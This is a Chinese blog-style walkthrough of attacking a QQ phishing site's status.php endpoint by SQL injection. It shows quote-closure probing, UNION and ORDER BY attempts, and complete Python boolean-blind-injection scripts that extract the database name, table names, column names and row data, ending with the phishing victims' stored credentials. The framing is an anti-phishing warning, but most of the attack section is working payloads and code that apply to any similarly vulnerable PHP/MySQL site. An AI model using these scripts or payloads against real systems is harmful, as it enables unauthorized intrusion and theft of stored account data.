不要在任何不明网站上输入自己的用户名和密码!!!
SQL 基础语法以及注入方法
钓鱼网站
某钓鱼网站,虽然其首页做得实在惨不忍睹,但是还有很多人上钩,输入了自己的账号密码。
骗子一般都是在 qq 中散布钓鱼链接,诱导别人点开后以为需要登录进行下一步操作,最终被骗
Step1
通过分析源代码可以看出,该网页把用户输入的`tel`和密码`pass`发送给`status.php`,收到回复 1 以后跳转到另一个界面
Step2
此时会生成一个 id,在这里是 1906。进入盗取手机验证码的界面,同时又向`status.php`发送我的手机号和 id。
1 2 3
| $.ajax({ url:"../status.php/?action=queren&id=1906&u="+encodeURIComponent('+86-'+tel), })
|
Step3
接着进入一个很简陋的排队界面
可以看出,该界面会直接向`status.php`发送一个 id=1906 的消息,并且根据回复的 code 进行相应的跳转
所以可以判断:该请求大概率是像一个数据库进行请求,数据库查询并且返回一个`code`
该 SQL 语句可能是
1 2 3
| SELECT code FROM <数据表名称> WHERE id=1960
# 数据表名称暂时不知道
|
Step4 判断字符/数字 以及闭合方式
于是我们构建这样一个 url
1
| http://********/status.php?action=shoy&id=1905
|
可以看到返回了一个code:5
,有可能是请求数据库以后返回的值,于是就可以猜测可以进行 SQL 注入攻击
变成发送1094+1
以后,仍然能够查询到结果
发送1094'
以后不能查询到结果
说明 SQL 查询语句应该是单引号闭合的字符型查询
1 2 3 4
| SELECT code FROM <数据表名称> WHERE id='______' # 在下划线处插入我发送的数据 # 所以我传入 " 1904' " 以后 变成了 SELECT code FROM <数据表名称> WHERE id='1904''
|
单引号数量不匹配,导致查询失败,不返回code
传入双引号以后仍能查询到,所以更加确定了是由单引号闭合的
Step5 尝试使用联合注入
尝试使用 UNION 进行联合注入
通过合并多次查询的结果让数据库暴露不该暴露的信息
1
| SELECT code FROM <表名> WHERE id='1904' UNION SELECT database()
|
传入
1
| 1904' UNION SELECT database()--
|
1 2
| 直接插入 SELECT code FROM <数据表名称> WHERE id='______'
|
1 2
| 就变成了 SELECT code FROM <数据表名称> WHERE id='1904' UNION SELECT database()
|
可以看到,我人为闭合了一个单引号,同时传入了一串UNION SELECT
代码查询数据库的名字,最后人为传入了 SQL 的注释符号--
,导致原有的第二个单引号被当作了注释
按道理这样会使数据库进行两次查询,返回值会把第一个结果和数据库名合在一起暴露出来
但是在这里仍然只返回一个 code5,证明此网站有针对UNION SELECT
的防御措施
为什么变成 1976 了?因为我懒,过了几天又换了一次攻击。这回给我分配的 id 是 1976
Step6 尝试获得表格列数
尝试使用ORDER BY
获得表格列数,该操作会让结果依照某一列进行排序,如果我传入的列不存在,自然会报错而不能正常返回。于是一个个尝试即可得到表格的列数
1 的时候能够返回
2 的时候就不能返回了
难道这个表格只有一列?不可能啊!至少有一列 id 有一列 code。 可能网站针对 ORDER BY 有防护手段
Step7 使用 python 脚本进行布尔盲注
虽然网站有防护手段。但是我们目前知道让查询出错和能查询到是两种不同的返回结果
于是我们一次查询至少能得到 1bit 的信息(布尔:对或错)。可以使用布尔盲注进行攻击。
我们运用逻辑运算AND
:已知一个能够正确返回的语句
1
| SELECT code FROM <数据表名称> WHERE id='1904'
|
那么我们AND
上一个条件语句
1
| SELECT code FROM <数据表名称> WHERE id='1904' AND __________
|
就可以根据能不能正常返回来判断我人为注入的条件是不是正确的了
传入
1
| 1976' AND ASCII(SUBSTR(database(), 1, 1))>0 --
|
于是在后台的语句变成了
1
| SELECT code FROM <数据表名称> WHERE id='1976' AND ASCII(SUBSTR(database(), 1, 1))>0
|
相当于询问:id=1976 的用户的 code 是多少? 并且 你数据库名字的第一个字母的 ASCII 是不是大于 0?
显然所有 ASCII 都是大于 0 的,于是第一个和第二个问题都是真,数据库也诚实地返回了 code
那我把大于号改成小于号呢?(恒假:没有任何一个字符的 ASCII 是负的)
直接把数据库干烧了,于是没有正确返回 code
所以,我们可以通过一位一位询问,一个 ASCII 一个 ASCII 询问,判断真假,最终爆破出所有的数据
如果返回了code:5
就是询问对了,如果不返回就是错了。如此使用二分查找算法即可爆破出数据库的所有位置的字符
1 2 3 4 5 6 7
| 你数据库的名字的第一个字母ASCII值大于50吗? 对 大于75吗? 错 大于62吗? 对 。。。。。 如此重复即可得出最终字母是什么
|
爆破数据库名 脚本及 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import requests
url = "http://weno.。。。。。。.work/status.php"
action = "shoy" id_base = "1601' AND ASCII(SUBSTR(DATABASE(), {position}, 1)){operator}{ascii_value} -- -"
def is_correct(response): print("Response:", response.text) try: data = response.json() return data.get('code') == 5 except ValueError: return False
def send_injection(position, operator, ascii_value): payload = id_base.format(position=position, operator=operator, ascii_value=ascii_value) params = {'action': action, 'id': payload} response = requests.get(url, params=params) return response
def binary_search_ascii(position): low, high = 48, 126 while low <= high: mid = (low + high) // 2 if is_correct(send_injection(position, '=', mid)): return mid elif is_correct(send_injection(position, '>', mid)): low = mid + 1 else: high = mid - 1 return None
def get_database_name(max_length=32): db_name = '' for position in range(1, max_length + 1): ascii_value = binary_search_ascii(position) if ascii_value: db_name += chr(ascii_value) print(f"Found character: {chr(ascii_value)} at position {position}") else: break return db_name
database_name = get_database_name() print("Database Name:", database_name)
|
结果
进一步爆破表名(一个数据库下有很多张表)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import requests
url = "http://weno.。。。。.work/status.php"
action = "shoy" database_name = "qqmail0710" id_base = "1904' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {index}, 1), {position}, 1)){operator}{ascii_value} -- -"
def is_correct(response): try: data = response.json() return data.get('code') == 5 except ValueError: return False
def send_injection(index, position, operator, ascii_value): payload = id_base.format(database=database_name, index=index, position=position, operator=operator, ascii_value=ascii_value) params = {'action': action, 'id': payload} response = requests.get(url, params=params) return response
def binary_search_ascii(index, position): low, high = 32, 126 while low <= high: mid = (low + high) // 2 if is_correct(send_injection(index, position, '=', mid)): return mid elif is_correct(send_injection(index, position, '>', mid)): low = mid + 1 else: high = mid - 1 return None
def get_table_name(index, max_length=32): table_name = '' for position in range(1, max_length + 1): ascii_value = binary_search_ascii(index, position) if ascii_value: table_name += chr(ascii_value) print(f"Found character: {chr(ascii_value)} at position {position} for table {index}") else: break return table_name
def get_all_table_names(max_tables=10, max_length=32): table_names = [] for index in range(max_tables): table_name = get_table_name(index, max_length) if table_name: table_names.append(table_name) print(f"Found table: {table_name}") else: break return table_names
table_names = get_all_table_names() print("Table Names:", table_names)
|
发现结果有三个表格,其中`qq_list`显然就是受骗者的 qq 账号数据存放表格
爆破一个表格中的所有列名(表格由行和列组成) payload
1 2 3 4 5 6 7
| url = "http://weno.。。。.work/status.php"
action = "shoy" table_name = "qq_list" id_base = "1601' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {index}, 1), {position}, 1)){operator}{ascii_value} -- -"
|
其实更改一下注入代码即可,询问
1 2 3
| 你qq_list这个表格里第一列的名字的第一个字符的ASCII是不是大于50啊? 是/不是 。。。。。
|
爆破一个表格中某列的所有数据 payload
1 2 3 4 5 6 7 8
| url = "http://weno.。。。。.work/status.php"
action = "shoy" database_name = "qqmail0710" table_name = "qq_list" column_name = "user" id_base = "1601' AND ASCII(SUBSTR((SELECT {column} FROM {database}.{table} LIMIT {row}, 1), {position}, 1)){operator}{ascii_value} -- -"
|
同理
Step8 获得所有数据
已知数据库名,表名,列名。所有数据都可以通过布尔盲注的方式爆破得到
有相当人数的人上当,输入了自己的 qq 账号以及密码,甚至有人输入了两次
不要在任何不明网站上输入自己的用户名和密码!!!